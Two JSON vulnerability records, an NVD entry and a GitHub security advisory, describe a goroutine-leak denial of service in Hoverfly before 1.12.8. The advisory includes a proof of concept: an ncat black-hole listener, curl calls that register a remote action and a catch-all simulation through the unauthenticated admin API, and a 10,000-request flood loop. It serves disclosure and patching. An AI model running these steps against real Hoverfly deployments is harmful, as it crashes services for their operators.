{
  "affected": [
    {
      "affectedData": [
        {
          "product": "hoverfly",
          "vendor": "SpectoLabs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.12.8"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use `http.DefaultClient` without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on `http.DefaultClient.Do()`. An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint. Version 1.12.8 patches the issue."
    }
  ],
  "id": "CVE-2026-50018",
  "lastModified": "2026-09-11T22:16:37.950",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-09-11T22:16:37.950",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/SpectoLabs/hoverfly/pull/1228"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/SpectoLabs/hoverfly/releases/tag/v1.12.8"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-42j2-w334-qxw7"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-400"
        },
        {
          "lang": "en",
          "value": "CWE-770"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.12.7"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/SpectoLabs/hoverfly"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.12.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50018"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-14T18:04:55Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary:\n\nRemote post-serve actions use `http.DefaultClient` without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on `http.DefaultClient.Do()`. An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint.\n\n### Details:\n\n**1. Remote actions executed in goroutines without timeout (`core/hoverfly.go:224-228`):**\n\n```go\ngo postServeAction.Execute(result.Pair, journalIDChannel, hf.Journal)\n```\n\nPost-serve actions are executed in separate goroutines with no recovery wrapper.\n\n**2. HTTP client has no timeout (`core/action/action.go:128-143`):**\n\n```go\nreq, err := http.NewRequest(\"POST\", action.Remote, bytes.NewBuffer(pairViewBytes))\n// ...\nresp, err := http.DefaultClient.Do(req)  // No timeout! Blocks forever.\n```\n\n`http.DefaultClient` has zero timeout by default in Go. If the remote server:\n- Accepts the TCP connection but never sends a response\n- Establishes TLS but never completes the handshake  \n- Uses TCP window size 0 (flow control stall)\n\n...the goroutine blocks indefinitely. There is no context cancellation, no deadline, and no cleanup.\n\n**3. No goroutine limit or backpressure:**\n\nThere is no limit on how many post-serve action goroutines can be active simultaneously. Each matching proxy request spawns a new one unconditionally.\n\n**4. The goroutine is never cleaned up:**\n\nThe only exit path from `Execute()` is a successful (or failed) HTTP response. A non-responding server means the goroutine lives until the process is killed.\n\n### Environment:\n\n- **Hoverfly version:** v1.12.7\n- **Operating System:** macOS Darwin 25.4.0\n- **Go version:** 1.26.2\n- **Configuration:** Default (no flags required)\n\n### POC:\n\n**Step 1: Start a black-hole TCP listener (accepts connections, never responds)**\n\n```bash\n# Option A: Use ncat\nncat -l -k 9999 \u0026\n\n# Option B: Use a non-routable IP (connections hang at TCP SYN)\n# 192.0.2.1 is TEST-NET-1, guaranteed non-routable\n# This causes http.DefaultClient to block on TCP connect timeout (which is also unlimited)\n```\n\n**Step 2: Register remote post-serve action pointing to the black hole**\n\n```bash\ncurl -X PUT http://localhost:8888/api/v2/hoverfly/post-serve-action \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"actionName\": \"leak\",\n    \"remote\": \"http://192.0.2.1:9999/blackhole\",\n    \"delayInMs\": 0\n  }\u0027\n```\n\n**Step 3: Load a catch-all simulation**\n\n```bash\ncurl -X PUT http://localhost:8888/api/v2/simulation \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"data\": {\n      \"pairs\": [{\n        \"request\": {\"path\": [{\"matcher\": \"glob\", \"value\": \"*\"}]},\n        \"response\": {\"status\": 200, \"body\": \"ok\", \"postServeAction\": \"leak\"}\n      }],\n      \"globalActions\": {\"delays\": [], \"delaysLogNormal\": []}\n    },\n    \"meta\": {\"schemaVersion\": \"v5.2\"}\n  }\u0027\n```\n\n**Step 4: Flood with requests**\n\n```bash\n# Each request spawns an immortal goroutine\nfor i in $(seq 1 10000); do\n    curl -s -x http://localhost:8500 \"http://target.com/req${i}\" \u0026\n    # Throttle to avoid local FD exhaustion\n    [ $((i % 100)) -eq 0 ] \u0026\u0026 wait\ndone\n```\n\n**Verified memory impact on Hoverfly v1.12.7:**\n\n```\nMemory before: 20,064 KB\nMemory after 50 requests: 23,376 KB\nMemory increase: 3,312 KB (66 KB per goroutine)\n```\n\nAt this rate:\n- 1,000 requests = ~64 MB leaked\n- 10,000 requests = ~640 MB leaked\n- 100,000 requests = ~6.4 GB leaked \u2192 OOM crash\n\n### Impact:\n\nAn attacker with access to the admin API (unauthenticated by default) can cause a complete denial of service by:\n\n1. Registering a remote post-serve action pointing to a non-responsive endpoint.\n2. Loading a catch-all simulation that triggers the action on every request.\n3. Sending proxy traffic, each request permanently leaks a goroutine and its associated memory.",
  "id": "GHSA-42j2-w334-qxw7",
  "modified": "2026-07-14T18:04:55Z",
  "published": "2026-07-14T18:04:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-42j2-w334-qxw7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SpectoLabs/hoverfly/pull/1228"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SpectoLabs/hoverfly"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SpectoLabs/hoverfly/releases/tag/v1.12.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions"
}